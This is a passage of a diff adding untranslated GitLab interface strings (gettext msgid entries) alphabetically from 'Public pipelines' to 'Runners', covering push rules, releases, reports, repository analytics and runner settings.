+msgid "Public pipelines"
+msgstr ""
+
+msgid "Public projects Minutes cost factor"
+msgstr ""
+
+msgid "Publish to status page"
+msgstr ""
+
+msgid "Published"
+msgstr ""
+
+msgid "Published on status page"
+msgstr ""
+
+msgid "Publishes this issue to the associated status page."
+msgstr ""
+
+msgid "Pull"
+msgstr ""
+
+msgid "Pull requests from fork are not supported"
+msgstr ""
+
+msgid "Puma is running with a thread count above 1 and the Rugged service is enabled. This may decrease performance in some environments. See our %{link_start}documentation%{link_end} for details of this issue."
+msgstr ""
+
+msgid "Purchase more minutes"
+msgstr ""
+
+msgid "Purchase more storage"
+msgstr ""
+
+msgid "Push"
+msgstr ""
+
+msgid "Push Rule updated successfully."
+msgstr ""
+
+msgid "Push Rules"
+msgstr ""
+
+msgid "Push Rules updated successfully."
+msgstr ""
+
+msgid "Push an existing Git repository"
+msgstr ""
+
+msgid "Push an existing folder"
+msgstr ""
+
+msgid "Push commits to the source branch or add previously merged commits to review them."
+msgstr ""
+
+msgid "Push events"
+msgstr ""
+
+msgid "Push project from command line"
+msgstr ""
+
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
+msgid "Push to create a project"
+msgstr ""
+
+msgid "PushRules|All branch names must match this %{wiki_syntax_link_start}regular expression%{wiki_syntax_link_end}. If empty, any branch name is allowed."
+msgstr ""
+
+msgid "PushRules|All commit author's email must match this %{wiki_syntax_link_start}regular expression%{wiki_syntax_link_end}. If empty, any email is allowed."
+msgstr ""
+
+msgid "PushRules|All commit messages must match this %{wiki_syntax_link_start}regular expression%{wiki_syntax_link_end}. If empty, commit messages are not required to match any expression."
+msgstr ""
+
+msgid "PushRules|All committed filenames cannot match this %{wiki_syntax_link_start}regular expression%{wiki_syntax_link_end}. If empty, any filename is allowed."
+msgstr ""
+
+msgid "PushRules|Commit messages cannot match this %{wiki_syntax_link_start}regular expression%{wiki_syntax_link_end}. If empty, commit messages are not rejected based on any expression."
+msgstr ""
+
+msgid "PushRules|Do not allow users to remove Git tags with %{code_block_start}git push%{code_block_end}"
+msgstr ""
+
+msgid "PushRules|Reject any files likely to contain secrets. %{secret_files_link_start}What secret files are rejected?%{secret_files_link_end}"
+msgstr ""
+
+msgid "PushRules|Reject file sizes equal to or greater than this size. If set to 0, files of any size are allowed. This rule does not apply to files tracked by Git LFS."
+msgstr ""
+
+msgid "PushRules|Restrict commits to existing GitLab users."
+msgstr ""
+
+msgid "PushRules|Restrict push operations for this project."
+msgstr ""
+
+msgid "PushRules|Save push rules"
+msgstr ""
+
+msgid "PushRules|Select push rules"
+msgstr ""
+
+msgid "PushRules|Users can still delete tags through the GitLab UI."
+msgstr ""
+
+msgid "PushRule|Push rules"
+msgstr ""
+
+msgid "PushRule|Reject unverified users"
+msgstr ""
+
+msgid "Pushed"
+msgstr ""
+
+msgid "Pushes"
+msgstr ""
+
+msgid "PushoverService|%{user_name} deleted branch \"%{ref}\"."
+msgstr ""
+
+msgid "PushoverService|%{user_name} push to branch \"%{ref}\"."
+msgstr ""
+
+msgid "PushoverService|%{user_name} pushed new branch \"%{ref}\"."
+msgstr ""
+
+msgid "PushoverService|High Priority"
+msgstr ""
+
+msgid "PushoverService|Leave blank for all active devices"
+msgstr ""
+
+msgid "PushoverService|Low Priority"
+msgstr ""
+
+msgid "PushoverService|Lowest Priority"
+msgstr ""
+
+msgid "PushoverService|Normal Priority"
+msgstr ""
+
+msgid "PushoverService|Pushover makes it easy to get real-time notifications on your Android device, iPhone, iPad, and Desktop."
+msgstr ""
+
+msgid "PushoverService|See project %{project_full_name}"
+msgstr ""
+
+msgid "PushoverService|Total commits count: %{total_commits_count}"
+msgstr ""
+
+msgid "PushoverService|Your application key"
+msgstr ""
+
+msgid "PushoverService|Your user key"
+msgstr ""
+
+msgid "Quarters"
+msgstr ""
+
+msgid "Query"
+msgstr ""
+
+msgid "Query cannot be processed"
+msgstr ""
+
+msgid "Query is valid"
+msgstr ""
+
+msgid "Queued"
+msgstr ""
+
+msgid "Quick actions can be used in the issues description and comment boxes."
+msgstr ""
+
+msgid "Quick range"
+msgstr ""
+
+msgid "Quickly and easily edit multiple files in your project."
+msgstr ""
+
+msgid "README"
+msgstr ""
+
+msgid "Rails"
+msgstr ""
+
+msgid "Rake Tasks Help"
+msgstr ""
+
+msgid "Random"
+msgstr ""
+
+msgid "Raw blob request rate limit per minute"
+msgstr ""
+
+msgid "Re-authentication period expired or never requested. Please try again"
+msgstr ""
+
+msgid "Re-authentication required"
+msgstr ""
+
+msgid "Re-request review"
+msgstr ""
+
+msgid "Re-verification interval"
+msgstr ""
+
+msgid "Read more"
+msgstr ""
+
+msgid "Read more about project permissions %{help_link_open}here%{help_link_close}"
+msgstr ""
+
+msgid "Read more about related issues"
+msgstr ""
+
+msgid "Real-time features"
+msgstr ""
+
+msgid "Reauthenticating with SAML provider."
+msgstr ""
+
+msgid "Rebase"
+msgstr ""
+
+msgid "Rebase in progress"
+msgstr ""
+
+msgid "Rebase source branch"
+msgstr ""
+
+msgid "Rebase source branch on the target branch."
+msgstr ""
+
+msgid "Receive alerts from manually configured Prometheus servers."
+msgstr ""
+
+msgid "Receive notifications about your own activity"
+msgstr ""
+
+msgid "Receive product marketing emails"
+msgstr ""
+
+msgid "Recent"
+msgstr ""
+
+msgid "Recent Activity"
+msgstr ""
+
+msgid "Recent Project Activity"
+msgstr ""
+
+msgid "Recent Searches Service is unavailable"
+msgstr ""
+
+msgid "Recent jobs served by this runner"
+msgstr ""
+
+msgid "Recent searches"
+msgstr ""
+
+msgid "Reconfigure"
+msgstr ""
+
+msgid "Recover hidden stage"
+msgstr ""
+
+msgid "Recovering projects"
+msgstr ""
+
+msgid "Recovery Codes"
+msgstr ""
+
+msgid "Redirect to SAML provider to test configuration"
+msgstr ""
+
+msgid "Redis"
+msgstr ""
+
+msgid "Reduce project visibility"
+msgstr ""
+
+msgid "Reduce this project’s visibility?"
+msgstr ""
+
+msgid "Reference"
+msgstr ""
+
+msgid "References"
+msgstr ""
+
+msgid "Refresh"
+msgstr ""
+
+msgid "Refresh the page and try again."
+msgstr ""
+
+msgid "Refreshing in a second to show the updated status..."
+msgid_plural "Refreshing in %d seconds to show the updated status..."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Regenerate export"
+msgstr ""
+
+msgid "Regenerate instance ID"
+msgstr ""
+
+msgid "Regenerate key"
+msgstr ""
+
+msgid "Regenerate recovery codes"
+msgstr ""
+
+msgid "Regenerating the instance ID can break integration depending on the client you are using."
+msgstr ""
+
+msgid "Regex pattern"
+msgstr ""
+
+msgid "Region that Elasticsearch is configured"
+msgstr ""
+
+msgid "Register"
+msgstr ""
+
+msgid "Register / Sign In"
+msgstr ""
+
+msgid "Register Two-Factor Authenticator"
+msgstr ""
+
+msgid "Register Universal Two-Factor (U2F) Device"
+msgstr ""
+
+msgid "Register WebAuthn Device"
+msgstr ""
+
+msgid "Register a runner on a Kubernetes cluster. %{link_to_help_page}"
+msgstr ""
+
+msgid "Register as many runners as you want. You can register runners as separate users, on separate servers, and on your local machine. Runners are either:"
+msgstr ""
+
+msgid "Register device"
+msgstr ""
+
+msgid "Register now"
+msgstr ""
+
+msgid "Register the runner with this URL:"
+msgstr ""
+
+msgid "Register with two-factor app"
+msgstr ""
+
+msgid "Registration|Checkout"
+msgstr ""
+
+msgid "Registration|Your GitLab group"
+msgstr ""
+
+msgid "Registration|Your first project"
+msgstr ""
+
+msgid "Registration|Your profile"
+msgstr ""
+
+msgid "Registry setup"
+msgstr ""
+
+msgid "Regulate approvals by authors/committers. Affects all projects."
+msgstr ""
+
+msgid "Reindexing Status: %{status}"
+msgstr ""
+
+msgid "Rejected (closed)"
+msgstr ""
+
+msgid "Related Issues"
+msgstr ""
+
+msgid "Related issues"
+msgstr ""
+
+msgid "Related merge requests"
+msgstr ""
+
+msgid "Relates to"
+msgstr ""
+
+msgid "Release"
+msgid_plural "Releases"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Release assets"
+msgstr ""
+
+msgid "Release assets documentation"
+msgstr ""
+
+msgid "Release does not have the same project as the milestone"
+msgstr ""
+
+msgid "Release notes"
+msgstr ""
+
+msgid "Release notes:"
+msgstr ""
+
+msgid "Release title"
+msgstr ""
+
+msgid "Release with tag \"%{tag}\" was not found"
+msgstr ""
+
+msgid "ReleaseAssetLinkType|Image"
+msgstr ""
+
+msgid "ReleaseAssetLinkType|Images"
+msgstr ""
+
+msgid "ReleaseAssetLinkType|Other"
+msgstr ""
+
+msgid "ReleaseAssetLinkType|Package"
+msgstr ""
+
+msgid "ReleaseAssetLinkType|Packages"
+msgstr ""
+
+msgid "ReleaseAssetLinkType|Runbook"
+msgstr ""
+
+msgid "ReleaseAssetLinkType|Runbooks"
+msgstr ""
+
+msgid "Released date"
+msgstr ""
+
+msgid "Releases"
+msgstr ""
+
+msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
+msgstr ""
+
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
+msgstr ""
+
+msgid "Releases documentation"
+msgstr ""
+
+msgid "Releases|New Release"
+msgstr ""
+
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
+msgid "Release|Something went wrong while getting the release details."
+msgstr ""
+
+msgid "Release|Something went wrong while saving the release details"
+msgstr ""
+
+msgid "Remediations"
+msgstr ""
+
+msgid "Remind later"
+msgstr ""
+
+msgid "Remote object has no absolute path."
+msgstr ""
+
+msgid "Remove"
+msgstr ""
+
+msgid "Remove %{displayReference}"
+msgstr ""
+
+msgid "Remove Zoom meeting"
+msgstr ""
+
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
+msgid "Remove all or specific assignee(s)"
+msgstr ""
+
+msgid "Remove all or specific label(s)"
+msgstr ""
+
+msgid "Remove all or specific reviewer(s)"
+msgstr ""
+
+msgid "Remove approver"
+msgstr ""
+
+msgid "Remove approvers"
+msgstr ""
+
+msgid "Remove approvers?"
+msgstr ""
+
+msgid "Remove asset link"
+msgstr ""
+
+msgid "Remove assignee"
+msgstr ""
+
+msgid "Remove avatar"
+msgstr ""
+
+msgid "Remove card"
+msgstr ""
+
+msgid "Remove child epic from an epic"
+msgstr ""
+
+msgid "Remove description history"
+msgstr ""
+
+msgid "Remove due date"
+msgstr ""
+
+msgid "Remove file"
+msgstr ""
+
+msgid "Remove fork relationship"
+msgstr ""
+
+msgid "Remove from batch"
+msgstr ""
+
+msgid "Remove from epic"
+msgstr ""
+
+msgid "Remove group"
+msgstr ""
+
+msgid "Remove iteration"
+msgstr ""
+
+msgid "Remove license"
+msgstr ""
+
+msgid "Remove limit"
+msgstr ""
+
+msgid "Remove list"
+msgstr ""
+
+msgid "Remove member"
+msgstr ""
+
+msgid "Remove milestone"
+msgstr ""
+
+msgid "Remove node"
+msgstr ""
+
+msgid "Remove parent epic from an epic"
+msgstr ""
+
+msgid "Remove primary node"
+msgstr ""
+
+msgid "Remove priority"
+msgstr ""
+
+msgid "Remove report"
+msgstr ""
+
+msgid "Remove reviewer"
+msgstr ""
+
+msgid "Remove runner"
+msgstr ""
+
+msgid "Remove secondary node"
+msgstr ""
+
+msgid "Remove spent time"
+msgstr ""
+
+msgid "Remove stage"
+msgstr ""
+
+msgid "Remove time estimate"
+msgstr ""
+
+msgid "Remove user"
+msgstr ""
+
+msgid "Remove user & report"
+msgstr ""
+
+msgid "Remove user from group"
+msgstr ""
+
+msgid "Removed"
+msgstr ""
+
+msgid "Removed %{assignee_text} %{assignee_references}."
+msgstr ""
+
+msgid "Removed %{epic_ref} from child epics."
+msgstr ""
+
+msgid "Removed %{iteration_reference} iteration."
+msgstr ""
+
+msgid "Removed %{label_references} %{label_text}."
+msgstr ""
+
+msgid "Removed %{milestone_reference} milestone."
+msgstr ""
+
+msgid "Removed %{reviewer_text} %{reviewer_references}."
+msgstr ""
+
+msgid "Removed %{type} with id %{id}"
+msgstr ""
+
+msgid "Removed all labels."
+msgstr ""
+
+msgid "Removed an issue from an epic."
+msgstr ""
+
+msgid "Removed group can not be restored!"
+msgstr ""
+
+msgid "Removed parent epic %{epic_ref}."
+msgstr ""
+
+msgid "Removed spent time."
+msgstr ""
+
+msgid "Removed the due date."
+msgstr ""
+
+msgid "Removed time estimate."
+msgstr ""
+
+msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
+msgstr ""
+
+msgid "RemovedProjects|You haven’t removed any projects."
+msgstr ""
+
+msgid "Removes %{assignee_text} %{assignee_references}."
+msgstr ""
+
+msgid "Removes %{epic_ref} from child epics."
+msgstr ""
+
+msgid "Removes %{iteration_reference} iteration."
+msgstr ""
+
+msgid "Removes %{label_references} %{label_text}."
+msgstr ""
+
+msgid "Removes %{milestone_reference} milestone."
+msgstr ""
+
+msgid "Removes %{reviewer_text} %{reviewer_references}."
+msgstr ""
+
+msgid "Removes all labels."
+msgstr ""
+
+msgid "Removes an issue from an epic."
+msgstr ""
+
+msgid "Removes parent epic %{epic_ref}."
+msgstr ""
+
+msgid "Removes spent time."
+msgstr ""
+
+msgid "Removes the due date."
+msgstr ""
+
+msgid "Removes time estimate."
+msgstr ""
+
+msgid "Removing this group also removes all child projects, including archived projects, and their resources."
+msgstr ""
+
+msgid "Rename file"
+msgstr ""
+
+msgid "Rename folder"
+msgstr ""
+
+msgid "Rename/Move"
+msgstr ""
+
+msgid "Renew subscription"
+msgstr ""
+
+msgid "Reopen"
+msgstr ""
+
+msgid "Reopen %{issueType}"
+msgstr ""
+
+msgid "Reopen epic"
+msgstr ""
+
+msgid "Reopen milestone"
+msgstr ""
+
+msgid "Reopen test case"
+msgstr ""
+
+msgid "Reopen this %{quick_action_target}"
+msgstr ""
+
+msgid "Reopened this %{quick_action_target}."
+msgstr ""
+
+msgid "Reopens this %{quick_action_target}."
+msgstr ""
+
+msgid "Repair authentication"
+msgstr ""
+
+msgid "Replace"
+msgstr ""
+
+msgid "Replace all label(s)"
+msgstr ""
+
+msgid "Replaced all labels with %{label_references} %{label_text}."
+msgstr ""
+
+msgid "Replaces the clone URL root."
+msgstr ""
+
+msgid "Replication"
+msgstr ""
+
+msgid "Replication details"
+msgstr ""
+
+msgid "Replication enabled"
+msgstr ""
+
+msgid "Replication paused"
+msgstr ""
+
+msgid "Reply by email"
+msgstr ""
+
+msgid "Reply to comment"
+msgstr ""
+
+msgid "Reply to this email directly or %{view_it_on_gitlab}."
+msgstr ""
+
+msgid "Reply…"
+msgstr ""
+
+msgid "Repo by URL"
+msgstr ""
+
+msgid "Report %{display_issuable_type} that are abusive, inappropriate or spam."
+msgstr ""
+
+msgid "Report abuse"
+msgstr ""
+
+msgid "Report abuse to admin"
+msgstr ""
+
+msgid "Reported %{timeAgo} by %{reportedBy}"
+msgstr ""
+
+msgid "Reported by"
+msgstr ""
+
+msgid "Reported by %{reporter}"
+msgstr ""
+
+msgid "Reporting"
+msgstr ""
+
+msgid "Reports|%{combinedString} and %{resolvedString}"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
+msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Reports|Accessibility scanning detected no issues for the source branch only"
+msgstr ""
+
+msgid "Reports|Accessibility scanning failed loading results"
+msgstr ""
+
+msgid "Reports|Accessibility scanning results are being parsed"
+msgstr ""
+
+msgid "Reports|Actions"
+msgstr ""
+
+msgid "Reports|Activity"
+msgstr ""
+
+msgid "Reports|An error occurred while loading %{name} results"
+msgstr ""
+
+msgid "Reports|An error occurred while loading report"
+msgstr ""
+
+msgid "Reports|Base report parsing error:"
+msgstr ""
+
+msgid "Reports|Classname"
+msgstr ""
+
+msgid "Reports|Execution time"
+msgstr ""
+
+msgid "Reports|Failed %{count} time in %{baseBranch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{baseBranch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Reports|Failure"
+msgstr ""
+
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
+msgid "Reports|Identifier"
+msgstr ""
+
+msgid "Reports|Metrics reports are loading"
+msgstr ""
+
+msgid "Reports|Metrics reports changed on %{numberOfChanges} %{pointsString}"
+msgstr ""
+
+msgid "Reports|Metrics reports did not change"
+msgstr ""
+
+msgid "Reports|Metrics reports failed loading results"
+msgstr ""
+
+msgid "Reports|Scanner"
+msgstr ""
+
+msgid "Reports|Severity"
+msgstr ""
+
+msgid "Reports|System output"
+msgstr ""
+
+msgid "Reports|Test summary"
+msgstr ""
+
+msgid "Reports|Test summary failed loading results"
+msgstr ""
+
+msgid "Reports|Test summary results are being parsed"
+msgstr ""
+
+msgid "Reports|Vulnerability"
+msgstr ""
+
+msgid "Reports|Vulnerability Name"
+msgstr ""
+
+msgid "Reports|no changed test results"
+msgstr ""
+
+msgid "Repositories"
+msgstr ""
+
+msgid "Repositories Analytics"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Average coverage"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Average test coverage last 30 days"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Coverage"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Coverage Jobs"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Download historic test coverage data"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Download historic test coverage data (.csv)"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Download test coverage data (.csv)"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Historic Test Coverage Data is available in raw format (.csv) for further analysis."
+msgstr ""
+
+msgid "RepositoriesAnalytics|Jobs with Coverage"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Last Update"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Latest test coverage results"
+msgstr ""
+
+msgid "RepositoriesAnalytics|No test coverage to display"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Overall activity"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Please select a project or multiple projects to display their most recent test coverage data."
+msgstr ""
+
+msgid "RepositoriesAnalytics|Please select projects to display."
+msgstr ""
+
+msgid "RepositoriesAnalytics|Projects with Coverage"
+msgstr ""
+
+msgid "RepositoriesAnalytics|Test Code Coverage"
+msgstr ""
+
+msgid "RepositoriesAnalytics|There was an error fetching the projects."
+msgstr ""
+
+msgid "Repository"
+msgstr ""
+
+msgid "Repository Analytics"
+msgstr ""
+
+msgid "Repository Graph"
+msgstr ""
+
+msgid "Repository Settings"
+msgstr ""
+
+msgid "Repository already read-only"
+msgstr ""
+
+msgid "Repository check"
+msgstr ""
+
+msgid "Repository check was triggered."
+msgstr ""
+
+msgid "Repository checks"
+msgstr ""
+
+msgid "Repository cleanup"
+msgstr ""
+
+msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
+msgstr ""
+
+msgid "Repository clone URL"
+msgstr ""
+
+msgid "Repository files count over the limit"
+msgstr ""
+
+msgid "Repository has an invalid default branch name."
+msgstr ""
+
+msgid "Repository has more than one branch."
+msgstr ""
+
+msgid "Repository has no locks."
+msgstr ""
+
+msgid "Repository has tags."
+msgstr ""
+
+msgid "Repository maintenance"
+msgstr ""
+
+msgid "Repository mirroring"
+msgstr ""
+
+msgid "Repository must contain at least 1 file."
+msgstr ""
+
+msgid "Repository size is above the limit."
+msgstr ""
+
+msgid "Repository static objects"
+msgstr ""
+
+msgid "Repository storage"
+msgstr ""
+
+msgid "Repository synchronization concurrency limit"
+msgstr ""
+
+msgid "Repository update events"
+msgstr ""
+
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgstr ""
+
+msgid "RepositorySettingsAccessLevel|Select"
+msgstr ""
+
+msgid "Request Access"
+msgstr ""
+
+msgid "Request details"
+msgstr ""
+
+msgid "Request new confirmation email"
+msgstr ""
+
+msgid "Request parameter %{param} is missing."
+msgstr ""
+
+msgid "Request review from"
+msgstr ""
+
+msgid "Request to link SAML account must be authorized"
+msgstr ""
+
+msgid "Requested"
+msgstr ""
+
+msgid "Requested %{time_ago}"
+msgstr ""
+
+msgid "Requested design version does not exist."
+msgstr ""
+
+msgid "Requested review"
+msgstr ""
+
+msgid "Requested states are invalid"
+msgstr ""
+
+msgid "Requests"
+msgstr ""
+
+msgid "Requests Profiles"
+msgstr ""
+
+msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
+msgstr ""
+
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
+msgid "Require admin approval for new sign-ups"
+msgstr ""
+
+msgid "Require all users in this group to setup two-factor authentication"
+msgstr ""
+
+msgid "Require all users to accept Terms of Service and Privacy Policy when they access GitLab."
+msgstr ""
+
+msgid "Require new approvals when new commits are added to an MR."
+msgstr ""
+
+msgid "Require user password for approvals."
+msgstr ""
+
+msgid "Require users to prove ownership of custom domains"
+msgstr ""
+
+msgid "Required approvals (%{approvals_given} given)"
+msgstr ""
+
+msgid "Required approvals (%{approvals_given} given, you've approved)"
+msgstr ""
+
+msgid "Required in this project."
+msgstr ""
+
+msgid "Requirement %{reference} has been added"
+msgstr ""
+
+msgid "Requirement %{reference} has been archived"
+msgstr ""
+
+msgid "Requirement %{reference} has been reopened"
+msgstr ""
+
+msgid "Requirement %{reference} has been updated"
+msgstr ""
+
+msgid "Requirement title cannot have more than %{limit} characters."
+msgstr ""
+
+msgid "Requirements"
+msgstr ""
+
+msgid "Requirements can be based on users, stakeholders, system, software, or anything else you find important to capture."
+msgstr ""
+
+msgid "Requires approval from %{names}."
+msgid_plural "Requires %{count} more approvals from %{names}."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Requires approval."
+msgid_plural "Requires %d more approvals."
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Requires values to meet regular expression requirements."
+msgstr ""
+
+msgid "Resend Request"
+msgstr ""
+
+msgid "Resend confirmation email"
+msgstr ""
+
+msgid "Resend invite"
+msgstr ""
+
+msgid "Resend it"
+msgstr ""
+
+msgid "Reset"
+msgstr ""
+
+msgid "Reset authorization key"
+msgstr ""
+
+msgid "Reset authorization key?"
+msgstr ""
+
+msgid "Reset filters"
+msgstr ""
+
+msgid "Reset health check access token"
+msgstr ""
+
+msgid "Reset key"
+msgstr ""
+
+msgid "Reset registration token"
+msgstr ""
+
+msgid "Reset template"
+msgstr ""
+
+msgid "Reset to project defaults"
+msgstr ""
+
+msgid "Resetting the authorization key will invalidate the previous key. Existing alert configurations will need to be updated with the new key."
+msgstr ""
+
+msgid "Resolve"
+msgstr ""
+
+msgid "Resolve all threads in new issue"
+msgstr ""
+
+msgid "Resolve conflicts"
+msgstr ""
+
+msgid "Resolve conflicts on source branch"
+msgstr ""
+
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
+msgid "Resolve thread"
+msgstr ""
+
+msgid "Resolved"
+msgstr ""
+
+msgid "Resolved 1 discussion."
+msgstr ""
+
+msgid "Resolved all discussions."
+msgstr ""
+
+msgid "Resolved by"
+msgstr ""
+
+msgid "Resolved by %{name}"
+msgstr ""
+
+msgid "Resolves IP addresses once and uses them to submit requests"
+msgstr ""
+
+msgid "Response"
+msgstr ""
+
+msgid "Response didn't include `service_desk_address`"
+msgstr ""
+
+msgid "Response metrics (AWS ELB)"
+msgstr ""
+
+msgid "Response metrics (Custom)"
+msgstr ""
+
+msgid "Response metrics (HA Proxy)"
+msgstr ""
+
+msgid "Response metrics (NGINX Ingress VTS)"
+msgstr ""
+
+msgid "Response metrics (NGINX Ingress)"
+msgstr ""
+
+msgid "Response metrics (NGINX)"
+msgstr ""
+
+msgid "Response text"
+msgstr ""
+
+msgid "Restart Terminal"
+msgstr ""
+
+msgid "Restore"
+msgstr ""
+
+msgid "Restore group"
+msgstr ""
+
+msgid "Restore project"
+msgstr ""
+
+msgid "Restoring the group will prevent the group, its subgroups and projects from being removed on this date."
+msgstr ""
+
+msgid "Restoring the project will prevent the project from being removed on this date and restore people's ability to make changes to it."
+msgstr ""
+
+msgid "Restrict membership by email domain"
+msgstr ""
+
+msgid "Restrict projects for this runner"
+msgstr ""
+
+msgid "Restricted shift times are not available for hourly shifts"
+msgstr ""
+
+msgid "Restricts sign-ups for email addresses that match the given regex. See the %{supported_syntax_link_start}supported syntax%{supported_syntax_link_end} for more information."
+msgstr ""
+
+msgid "Resume"
+msgstr ""
+
+msgid "Resync"
+msgstr ""
+
+msgid "Resync all"
+msgstr ""
+
+msgid "Resync all %{replicableType}"
+msgstr ""
+
+msgid "Retry"
+msgstr ""
+
+msgid "Retry job"
+msgstr ""
+
+msgid "Retry migration"
+msgstr ""
+
+msgid "Retry this job"
+msgstr ""
+
+msgid "Retry this job in order to create the necessary resources."
+msgstr ""
+
+msgid "Retry update"
+msgstr ""
+
+msgid "Retry verification"
+msgstr ""
+
+msgid "Reveal value"
+msgid_plural "Reveal values"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Reveal values"
+msgstr ""
+
+msgid "Revert this commit"
+msgstr ""
+
+msgid "Revert this merge request"
+msgstr ""
+
+msgid "Review"
+msgstr ""
+
+msgid "Review App|View app"
+msgstr ""
+
+msgid "Review App|View latest app"
+msgstr ""
+
+msgid "Review requested from %{name}"
+msgstr ""
+
+msgid "Review requests for you"
+msgstr ""
+
+msgid "Review the changes locally"
+msgstr ""
+
+msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
+msgstr ""
+
+msgid "Review the target project before submitting to avoid exposing %{source} changes."
+msgstr ""
+
+msgid "Review time"
+msgstr ""
+
+msgid "Review time is defined as the time it takes from first comment until merged."
+msgstr ""
+
+msgid "ReviewApp|Enable Review App"
+msgstr ""
+
+msgid "Reviewer"
+msgid_plural "%d Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "Reviewer(s)"
+msgstr ""
+
+msgid "Reviewers"
+msgstr ""
+
+msgid "Reviewing"
+msgstr ""
+
+msgid "Reviewing (merge request !%{mergeRequestId})"
+msgstr ""
+
+msgid "Revoke"
+msgstr ""
+
+msgid "Revoked"
+msgstr ""
+
+msgid "Revoked impersonation token %{token_name}!"
+msgstr ""
+
+msgid "Revoked personal access token %{personal_access_token_name}!"
+msgstr ""
+
+msgid "Revoked project access token %{project_access_token_name}!"
+msgstr ""
+
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
+msgstr ""
+
+msgid "RightSidebar|adding a"
+msgstr ""
+
+msgid "RightSidebar|deleting the"
+msgstr ""
+
+msgid "Roadmap"
+msgstr ""
+
+msgid "Role"
+msgstr ""
+
+msgid "Rollback"
+msgstr ""
+
+msgid "Rook"
+msgstr ""
+
+msgid "Ruby"
+msgstr ""
+
+msgid "Rule name is already taken."
+msgstr ""
+
+msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
+msgstr ""
+
+msgid "Rules that define what git pushes are accepted for a project. All newly created projects will use these settings."
+msgstr ""
+
+msgid "Run CI/CD pipelines for external repositories"
+msgstr ""
+
+msgid "Run housekeeping"
+msgstr ""
+
+msgid "Run manual or delayed jobs"
+msgstr ""
+
+msgid "Run tests against your code live using the Web Terminal"
+msgstr ""
+
+msgid "Run untagged jobs"
+msgstr ""
+
+msgid "Runner API"
+msgstr ""
+
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
+msgid "Runner token"
+msgstr ""
+
+msgid "Runner tokens"
+msgstr ""
+
+msgid "Runner was not deleted because it is assigned to multiple projects."
+msgstr ""
+
+msgid "Runner was not updated."
+msgstr ""
+
+msgid "Runner was successfully updated."
+msgstr ""
+
+msgid "Runners"
+msgstr ""
+
+msgid "Runners are processes that pick up and execute CI/CD jobs for GitLab."
+msgstr ""
+
+msgid "Runners can be:"
+msgstr ""
+
+msgid "Runners currently online: %{active_runners_count}"
+msgstr ""
+
+msgid "Runners page."
+msgstr ""
+
+msgid "Runners|Active"
+msgstr ""
+
+msgid "Runners|An error has occurred fetching instructions"
+msgstr ""
+
+msgid "Runners|Architecture"
+msgstr ""
+
+msgid "Runners|Can run untagged jobs"
+msgstr ""
+
+msgid "Runners|Copy instructions"
+msgstr ""
+
+msgid "Runners|Description"
+msgstr ""
+
+msgid "Runners|Download Latest Binary"
+msgstr ""
+
+msgid "Runners|Download and Install Binary"
+msgstr ""
+
+msgid "Runners|Group"
+msgstr ""
+
+msgid "Runners|IP Address"
+msgstr ""
+
+msgid "Runners|Install a Runner"
+msgstr ""
+
+msgid "Runners|Last contact"
